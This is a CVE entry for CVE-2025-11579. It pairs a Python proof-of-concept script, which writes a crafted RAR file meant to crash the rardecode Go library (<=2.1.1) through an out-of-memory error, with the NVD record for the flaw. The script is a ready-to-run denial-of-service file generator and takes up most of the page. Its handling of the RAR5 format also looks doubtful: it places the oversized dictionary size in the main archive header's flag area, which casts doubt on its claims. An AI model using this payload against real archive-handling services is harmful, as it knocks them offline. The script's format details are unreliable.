CVE-2025-11579

#!/usr/bin/env python3 """ CVE-2025-11579 PoC: rardecode Out-of-Memory DoS via crafted RAR dictionary size This script generates a minimal RAR-like file with an inflated dictionary size field to trigger OOM when parsed by vulnerable rardecode (<=2.1.1). """ import struct import sys def craft_malicious_rar(output_path: str): """ Create a minimal RAR5 signature block with an abnormally large dictionary size to trigger OOM in rardecode <= 2.1.1. """ # RAR5 signature: 0x526172211a0700 (Rar!\x1a\x07\x00) rar5_signature = b'\x52\x61\x72\x21\x1a\x07\x01\x00' # RAR5 archive header (HEAD_TYPE=1, HEAD_FLAGS=0) # Header CRC (4 bytes) + Header size (vint) + Header type (vint) + Header flags (vint) header_type = 1 # Main archive header header_flags = 0 # Archive flags: bit 0 = solid, bit 1 = recovery record, etc. # We embed a huge dictionary size in the archive flags area. # In RAR5, dictionary size is stored as a vint in the archive header. # A vint is encoded as 7 data bits per byte, with MSB as continuation flag. def encode_vint(value: int) -> bytes: """Encode an integer as a RAR5 variable-length integer (vint).""" result = bytearray() while value >= 0x80: result.append((value & 0x7F) | 0x80) value >>= 7 result.append(value & 0x7F) return bytes(result) # Construct archive header body # Archive flags vint archive_flags = encode_vint(0) # Dictionary size vint - set to an extremely large value (e.g., 2^60) # This is the malicious payload: an absurdly large dictionary size malicious_dict_size = (1 << 60) # ~1 EB (exabyte) - will trigger OOM dict_size_vint = encode_vint(malicious_dict_size) header_body = archive_flags + dict_size_vint header_size = encode_vint(len(header_body) + 2) # +2 for type and flags vints # Build full header: type + flags + body header_data = encode_vint(header_type) + encode_vint(header_flags) + header_body # Calculate CRC32 of header import zlib header_crc = struct.pack('<I', zlib.crc32(header_data) & 0xFFFFFFFF) # Assemble the malicious RAR file rar_data = rar5_signature + header_crc + header_size + header_data with open(output_path, 'wb') as f: f.write(rar_data) print(f"[+] Malicious RAR file written to: {output_path}") print(f"[+] Dictionary size encoded: {malicious_dict_size} bytes (~{malicious_dict_size / (1<<40):.0f} TB)") print(f"[+] File size: {len(rar_data)} bytes") print(f"[!] When parsed by rardecode <= 2.1.1, this will trigger OOM crash.") if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.rar' craft_malicious_rar(output)

{"cve": {"id": "CVE-2025-11579", "sourceIdentifier": "[email protected]", "published": "2025-10-10T12:15:37.743", "lastModified": "2026-01-16T20:56:26.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "github.com/nwaples/rardecode versions <=2.1.1 fail to restrict the dictionary size when reading large RAR dictionary sizes, which allows an attacker to provide a specially crafted RAR file and cause Denial of Service via an Out Of Memory Crash."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nwaples:rardecode:*:*:*:*:*:go:*:*", "versionEndIncluding": "2.1.1", "matchCriteriaId": "D9B55804-8A7A-4F1B-BABF-EAAE472CDC17"}]}]}], "references": [{"url": "https://github.com/nwaples/rardecode/commit/52fb4e825c936636f251f7e7deded39ab11df9a9", "source": "[email protected]", "tags": ["Patch"]}]}}